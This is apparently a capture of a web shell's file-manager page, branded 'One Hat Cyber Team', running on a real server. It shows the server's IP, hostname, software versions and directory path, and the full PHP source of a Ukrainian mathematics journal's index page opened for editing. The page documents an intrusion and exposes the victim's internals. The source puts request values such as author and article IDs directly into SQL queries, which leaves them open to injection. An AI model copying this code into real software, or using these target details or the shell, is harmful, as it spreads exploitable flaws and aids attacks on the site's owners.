One Hat Cyber Team
Your IP :
216.73.216.24
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
Edit File:
index.orig.php
<? require("auth/auth.php"); $db_handle = mysql_connect($hostname, $user, $password); include("functions.php"); $page_title=enruua("The Journal \"$publname[$lang]\": Main page", "Журнал \"$publname[$lang]\": главная страница", "Журнал \"$publname[$lang]\": головна сторінка"); require("header.php"); ?> <br> <div class=dark> <? $res_arts = mysql_db_query($database,"SELECT * FROM Articles where status='published' order by published_volume DESC,published_number,published_page_start"); while ($publ_data = mysql_fetch_array($res_arts) ) { /* $find_publ_data = mysql_db_query($database, "SELECT published_volume, published_number, published_year, published_page_start, published_page_end FROM Articles WHERE id='$article[id]' order by published_volume,published_number,published_page_start "); */ $current_volume = $publ_data[published_volume]; $current_key=$publ_data[published_number]; $journal[$current_volume][$current_key] = $publ_data[published_number]; /* $res = mysql_db_query($database, "select Authors.last_name from AA left join Authors on AA.author_id=Authors.id where AA.article_id='1' order by Authors.last_name"); */ } //done browsing the published articles // list volumes/numbers /* echo " <table width=\"100%\" column=2> <tr> <td width=\"15%\" align=center> <a href=\"http://imath.kiev.ua/~nosc\"><img src=pictures/journal-en.jpeg border=0 valign=middle width=100></a></td> <td align=center>"; */ ?> <table border=0 width=100% cellspacing="2" cellpadding="2"> <colgroup><COL width=2%> <tr><td rowspan=2 align=center><a href=<? echo $www."?lang=$lang";?> > <img src=<?echo $www;?>/nosc.jpg border=0 valign=middle height=120*></a> <p> <? echo "<form action=index.php#info method=post>"; ///-------------- $key=1; //echo "<p align=center>"; //echo " vol $key has year "; print(year_of_publication($key)); //echo "<div class=menu><center>"; echo "<input type=hidden name=menu_item value=\"$menu_item\">\n"; //asort($publ_data); echo "<select name=volume>\n"; while (list($key, $val) = each($journal )) // $key is volume, $val is the array containing the numbers { echo "<option "; if ($key==$volume) echo " SELECTED "; echo "value=\"$key\">".enruua("Vol.","Том","Том")." $key ("; print(year_of_publication($key)); echo ")</option>\n"; }//journal echo "</select>\n"; echo "<p><input type=submit value=\""; echo enruua("Contents","Содержание", "Змiст"); echo "\">\n"; //echo "</div>"; echo "<input type=hidden name=lang value=\"$lang\">"; //echo "</p>"; echo "</form>\n"; ?> <td align=center> <!-- <div class=entry style="padding: 0; width: 80%"> <? echo "<h1 align=center class=sc><a href=index.php>$publname[$lang]</a></h1>\n"; if ($lang=="en") echo "<small><p align=center><span class=sc>(\"Nonlinear Oscillations\")</span></small>"; echo "<p align=center class=sc>".enruua("An international mathematical journal", "Международный математический журнал", "Міжнародний математичний журнал")."</p>\n"; ?> <p align=center><small>ISSN 1562-3076</small> </div> --> <p align=center><img src=formula.gif> <p> </table> <a name='info'> <? // if ($volume) { //if sth selected echo "<a name=volume>"; echo "<div class=control><center>\n"; echo "<form action=index.php#number method=post>\n"; echo "<h3>".enruua("Volume", "Том", "Том")." $volume (".year_of_publication($volume).") </h3>\n" ; asort($journal[$volume]); while ( list($no_id, $no ) = each($journal[$volume]) ) { echo "<input type=submit value=\" $no \" name=number> "; } echo "<input type=hidden name=volume value=\"$volume\">"; echo "<input type=hidden name=lang value=\"$lang\">"; echo "</form>"; } //volume else /* if !$volume */ { // $volume is undefined or zero echo "<a name=info>"; switch($menu_item) { case "publisher": echo "<div class=main>"; echo "<H2 ALIGN=CENTER>".$main_topics["publisher"]."</H2>"; echo "</a>".enruua("<P> The papers in <a href=index.php>$publname[$lang]</a> may be either in English or in Russian or Ukrainian. The complete translated <a href=\"http://www.wkap.nl/journalhome.htm/1536-0059\">English-language version</a> of the journal <a href=index.php>$publname[$lang]</a> is published by <a href=\"http://www.wkap.nl\">Kluwer Acadenic Publishers</a>.</P>", "<a href=\"http://www.wkap.nl/journalhome.htm/1536-0059\">Англоязычная версия</a> журнала \"<a href=index.php>$publname[$lang]</a>\" выходит в издательстве <a href=http://www.wkap.nl>Kluwer Academic Publishers</a>.", "<a href=\"http://www.wkap.nl/journalhome.htm/1536-0059\">Англомовна версія</a> журналу \"<a href=index.php>$publname[$lang]</a>\" виходить у видавництві <a href=http://www.wkap.nl>Kluwer Academic Publishers</a>."); echo "</div>"; break; case "about": echo "<div class=main>"; echo "<h2>".$main_topics[about]."</h2>"; echo "<center>".enruua("This page is maintained by ", "Настоящую страничку соорудил и поддерживает ", "Цю сторінку створив та підтримує "); echo "<a href=index.php?menu_item=author_card&author_id=8&lang=$lang#info>"; echo enruua("Andrei Ronto","Андрей Ронто", "Андрiй Ронто")."</a> <a href=mailto:nosc@imath.kiev.ua><img border=0 src=icons/mailto.gif></a>."."</center>"; echo "</div>"; break; case "forthcoming": echo "<div class=main>"; echo "<H2 ALIGN=CENTER>".$main_topics["forthcoming"]."</H2>"; $fetch_papers = mysql_db_query($database,"select id, title, received from Articles where status='accepted' order by received"); echo "<div class=entry>"; if ($paper = mysql_fetch_array($fetch_papers)) { //there are some papers echo "<OL>"; while ($paper) { echo "<LI>"; echo get_short_authors($paper[id]).", <em>``".$paper[title]."''</em>"; //echo "(manuscript no. $paper[id] received on $paper[received])</small></p>"; $paper = mysql_fetch_array($fetch_papers); } //papers echo "</ol>"; } else echo "<center>".enruua("No information on the forthcoming papers is currently available", "В настоящее время нет сведений содержании готовящихся к выпуску номеров", "На даний момент немає відомостей про зміст номерів, що готуються до випуску").".</center>"; echo "</div>"; break; case "office_address": echo "<div class=main>"; echo "<H2 ALIGN=CENTER>".$main_topics["office_address"]."</H2>"; include("address.".enruua("en","ru","ua").".php"); echo "</div>"; //office_address break; case "editorial_board": echo "<div class=main>"; echo "<h2 align=center>".enruua("The journal","Журнал","Журнал")." \"<a href=index.php>$publname[$lang]</a>\"</h2>"; if ($lang=="en") echo "<small><p align=center><span class=sc>(\"Nonlinear Oscillations\")</span></small>"; echo "<h3 align=center>".enruua("Editors-in-Chief", "Главные редакторы","Головні редактори")."</h3>"; echo "<center>"; $fetch_chiefs = mysql_db_query($database,"SELECT id, last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang, note FROM Authors WHERE editor=2 ORDER BY last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang"); $chiefs = ""; while ($chief = mysql_fetch_array($fetch_chiefs)) { /* $chiefs=$chiefs."<a href=index.php?menu_item=author_card&author_id=$chief[id]>"; $chiefs = $chiefs.$chief[first_name]." "; if($chief[middle_name]) $chiefs=$chiefs.$chief[middle_name]." "; $chiefs=$chiefs.$chief[last_name]."</a> "; $chiefs=$chiefs."($chief[city]),"." "; */ $chiefs=$chiefs.short_name_link($chief[id])." (".$chief["city_$lang"].")<br>\n "; }//editors $chiefs=substr($chiefs,0,-2); echo "$chiefs"; echo "</center>"; echo "<h3 align=center>".enruua("Assistant Editor-in-Chief", "Заместитель главного редактора","Заступник головного редактора")."</h3>"; echo "<center>"; $fetch_ass = mysql_db_query($database,"SELECT id, last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang, note FROM Authors WHERE editor=3 ORDER BY last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang"); $chiefs=mysql_fetch_array($fetch_ass); print(short_name_link($chiefs[id])); echo " (".$chiefs["city_$lang"].")"; echo "</center>"; echo "<h3 align=center>".enruua("Executive Editor","Исполнительный редактор", "Виконавчий редактор")."</h3>"; echo "<center>"; $fetch_ass = mysql_db_query($database,"SELECT id, last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang, note FROM Authors WHERE editor=4 ORDER BY last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang"); $chiefs=mysql_fetch_array($fetch_ass); print(short_name_link($chiefs[id])); echo " (".$chiefs["city_$lang"].")"; echo "</center>"; echo "<h3 align=center>".enruua("Editorial Board", "Редакционная коллегия","Редакційна колегія")."</h3>"; $fetch_editors = mysql_db_query($database,"SELECT id, last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang, note FROM Authors WHERE editor=1 ORDER BY last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang"); echo "<center>"; $editors = ""; while ($editor = mysql_fetch_array($fetch_editors)) { $editors = $editors.short_name_link($editor[id])." (".$editor["city_$lang"]."),"." \n"; }//editors //$editors=substr($editors,0,-3); echo "<span>$editors</span>"; echo "</center>"; echo "</div>"; // Editorial Board break; case "general_info": echo "<div class=main>"; echo "<h2 align=center>".$main_topics["general_info"]."</h2>"; include("general_info.".enruua("en","ru","ua").".php"); echo "</div>"; break; case "subscription": echo "<div class=main>"; echo "<h2 align=center>".$main_topics["subscription"]."</h2>"; include("subscription.".enruua("en","ru","ua").".php"); echo "</div>"; break; case "scope": echo "<div class=main>"; echo "<h2 align=center>".$main_topics["scope"]."</h2>"; include("scope.".enruua("en","ru","ua").".php"); echo "</div>"; break; case "rules": echo "<div class=main>"; echo "<h2 align=center>".$main_topics["rules"]."</h2>"; //echo "<p align=center>(the information is currently being updated)</a>"; include("rules.".enruua("en","ru","ua").".php"); // ... break; // the following item(s) are NOT from the footer menu case "author_card": // assume that $author_id is defined if ($author_id) { //echo "author id=$author_id"; $fetch_author_data = mysql_db_query($database, "SELECT id, title_$lang, last_name_$lang, first_name_$lang, middle_name_$lang, city_$lang, street_$lang, country_$lang, postal_code, state, email, fax, phone, editor, affiliation_$lang, note FROM Authors where id='$author_id' "); echo "<div class=entry>\n"; echo "<a name=author_card>"; if ( $author_data = mysql_fetch_array($fetch_author_data) ) { $name=$author_data["first_name_$lang"]." "; if ($author_data["middle_name_$lang"]) $name=$name.$author_data["middle_name_$lang"]." "; $name=$name.$author_data["last_name_$lang"]; $name=trim($name); echo "<h3>".$name; if ($author_data["title_$lang"]) echo ", ".$author_data["title_$lang"]; echo "</h3>"; print("\n"); if ($author_data[editor]) { echo "<p align=center>"; switch ($author_data[editor]) { case "2": echo enruua("Editor-in-Chief of <em>$publname[$lang]</em></small>", "Главный редактор журнала \"$publname[$lang]\"", "Головний редактор журналу \"$publname[$lang]\""); break; case "1": echo enruua("Member of the <A HREF=index.php?menu_item=editorial_board>Editorial Board</a> of <em><a href=$www?lang=$lang>$publname[$lang]</a></em>","Член редакционной коллегии журнала \"<a href=$www?lang=$lang>$publname[$lang]\"", "Член редакційної колегії журналу \"<a href=$www?lang=$lang>$publname[$lang]</a>\"")."</small>\n"; break; case "3": echo enruua("Assistant Editor-in-Chief of <em>$publname[$lang]</em></small>", "Заместитель главного редактора журнала \"$publname[$lang]\"", "Заступник головного редактора журналу \"$publname[$lang]\""); break; case "4": echo enruua("Executive Editor of <em>$publname[$lang]</em></small>", "Исполнительный редактор журнала \"$publname[$lang]\"", "Виконавчий редактор журналу \"$publname[$lang]\""); break; } }//editor echo "</p>"; //echo "<hr width=50% size=3>"; if($author_data[note]) echo "<p align=center><small>(".$author_data[note].")</small></p>"; //echo "<div class=minipage style=\" border:none; \">"; echo "<p align=center style=\"margin: 0px 0\" class=sc>"; if ($author_data["affiliation_$lang"]) { //echo "<br style=\"margin: 0px 0\">; echo $author_data["affiliation_$lang"]."\n"; } echo "</P>"; echo "<p align=center style=\"margin: 0px 0\" class=sc>"; echo $author_data["city_$lang"].", ".$author_data["country_$lang"]."\n"; if ($author_data[email]) {echo "<p align=center><small><A HREF=mailto:$author_data[email]>"; echo "$author_data[email]</a></small></p>\n"; } if ($author_data[fax]) echo "<br style=\"margin: 5px 0\"><small>".sc("Fax: ").$author_data[fax]."</small>\n"; echo "</P>"; //echo "</div>"; /* $fetch_papers = mysql_db_query($database, "SELECT Articles.id, Articles.title, Articles.published_volume, Articles.published_number, Articles.published_page_start, Articles.published_page_end FROM AA LEFT JOIN Articles ON Article.id=AA.article_id WHERE Articles.status='published' AND AA.author_id='$author_id' "); */ $fetch_papers = mysql_db_query($database,"select Articles.id, Articles.title from AA LEFT JOIN Articles on Articles.id=AA.article_id where Articles.status='published' and AA.author_id='$author_id' order by Articles.published_volume "); if ($paper = mysql_fetch_array($fetch_papers)) { //there are some papers echo "<hr width=50% size=3>"; echo "<h4>".enruua("$name is the author of the following papers published in <em><a href=$www?lang=$lang>$publname[$lang]</a></em>", "$name является автором следующих работ, опубликованных в журнале \"<a href=$www?lang=$lang>$publname[$lang]</a>\"", "$name є автором наступних робіт, опублікованих в журналі \"<a href=$www?lang=$lang>$publname[$lang]</a>\"")."</h4>"; echo "<OL>"; while ($paper) { echo "<LI>".paper_reference($paper[id]); /* $paper[title].",'' <em>Nonlinear Oscillations</em> <B>$paper[published_volume]</B>, No. $paper[published_number], $paper[published_page_start]-$paper[published_page_end]."; */ $paper = mysql_fetch_array($fetch_papers); } //papers echo "<OL>"; } //there are papers } //browse author data else echo "Sorry, I cannot find author with no. $author_id."; echo "</div>"; }//author_id break; case "abstracts": echo "<div class=entry>"; if (count($selected_article)) { switch ($retrieve_format) { case "bibtex": echo "<a name=references>"; echo "<h2>"; if (count($selected_article) == 1) echo enruua("The requested B<small>IB</small>T<sub>E</sub>X entry", "Запрошенная B<small>IB</small>T<sub>E</sub>X-ссылка", "Замовлене B<small>IB</small>T<sub>E</sub>X-посилання"); else echo enruua("The requested ".count($selected_article)." B<small>IB</small>T<sub>E</sub>X entries", "Запрошенные bibTeX-ссылки", "Замовлені bibTeX-посилання"); echo "</h2>"; //echo "<div>"; $thefirstentry=1; while ( list($article_id, $value_selected )= each($selected_article) ) { if(!$thefirstentry) echo"<br>\n"; $thefirstentry=0; $fetch_paper_data = mysql_db_query($database,"select id, title, abstract, received, published_volume, published_number, published_page_start, published_page_end from Articles where id='$article_id' "); $paper = mysql_fetch_array($fetch_paper_data); echo "<div>"; echo paper_reference($article_id); echo "<hr>"; //echo "<div class=entry>"; //echo "<pre>"; ?> <tt> <table> <? echo "<tr><td>\@ARTICLE{nosc".$article_id.",\n"; echo "<tr><td>AUTHOR = {".ereg_replace( ", ", " \n and ", get_short_authors($article_id) ); echo "},\n"; echo "<tr><td>TITLE = {".$paper[title]."},\n"; echo "<tr><td>JOURNAL = {".$publname[$lang]."},\n"; echo "<tr><td>VOLUME = {".$paper[published_volume]."},\n"; echo "<tr><td>NUMBER = {".$paper[published_number]."},\n"; echo "<tr><td>PAGES = {".$paper[published_page_start]; echo "-".$paper[published_page_end]."},\n"; echo "<tr><td>YEAR = {".year_of_publication($paper[published_volume])."}\n"; if ($paper[abstract]) { echo ",<tr><td>NOTE = {Abstract available at \n"; echo " ".$www."/index.php?volume=".$paper[published_volume]; echo "&number=".$paper[published_number]; echo "}\n"; } echo "}"; ?> </table> </tt> <? //echo "</pre>\n"; //echo "</div>"; echo "</div>"; } //while echo "</div>"; break; case "html": default: echo "<h3>Information on the "; if (count($selected_article) == 1) echo "selected paper"; else echo count($selected_article)." selected papers"; echo "</h3>"; echo "<div>"; while ( list($article_id, $value_selected )= each($selected_article) ) { //echo "Paper #$article_id;<br>"; $fetch_paper_data = mysql_db_query($database,"select id,title,abstract, received from Articles where id='$article_id' "); $paper = mysql_fetch_array($fetch_paper_data); echo paper_reference($article_id); if ($paper[abstract]) { echo "<p align=left>"."<B>Abstract.</B> "; echo "$paper[abstract]"."</p>"; } echo "<p align=right><small>The original manuscript no. ".$paper[id]."\n"; echo " received on $paper[received]</small></p>"; echo "<hr>"; }//selected_article echo "</div>"; } //switch retrieve_format }//sth selected else { echo "<center>Nothing to do: the selection is empty.</center>"; } echo "</div>"; break; default: // break; }//switch } // !$volume echo "</div>"; // the numbers list echo "</div>"; //main browse div // now the number (if selected) if ($number) { echo "<a name=number>"; echo "<div class=main>"; echo "<h2>".enruua("Volume","Том","Том")." $volume (".year_of_publication($volume)."), ".enruua("Number","номер","номер")." $number</h2>"; $fetch_articles = mysql_db_query($database, "SELECT * FROM Articles WHERE status='published' AND published_volume='$volume' AND published_number='$number' ORDER BY published_page_start"); echo "<form action=index.php?menu_item=abstracts#references method=post>"; echo "<input type=hidden name=lang value=\"$lang\">"; //echo "<hr width=100%>"; echo "<DL>"; while ($this_article = mysql_fetch_array($fetch_articles)) { $authors = " <span>".get_short_authors($this_article[id])."</span>"; echo "<DT>"; echo "<input type=checkbox name=\"selected_article[$this_article[id]]\" >"; echo $authors."<br style=\"padding: 5px\">\n"; echo "<DD> ``$this_article[title]''"; echo "<br style=\"padding: 10px\">\n"; } //this_article echo "</DL>\n"; //echo "<hr width=100%>"; echo "<center>"; //echo "<input type=hidden name=volume value=$volume>"; //echo "<input type=hidden name=number value=$number>"; echo "<input type=submit value=\"".enruua("Retrieve references to the selected papers", "Получить ссылки на выделенные статьи","Отримати посилання на виділені статті")."\">"; echo " <select name=retrieve_format>"; echo "<option selected value=bibtex>".enruua("as BibTeX entries","в формате bibTeX","у форматі bibTeX")."</option>"; echo "<option value=html>".enruua("as HTML code","в формате HTML","у форматі HTML")."</option>"; echo "</select>"; echo "</center>"; echo "</form>"; echo "</div>\n"; }//this_article else { //echo "no number selectd."; /* echo "Unfortunately, There are currently no data on Volume $volume in the on-line database."; */ } require("footer.php"); ?>
Simpan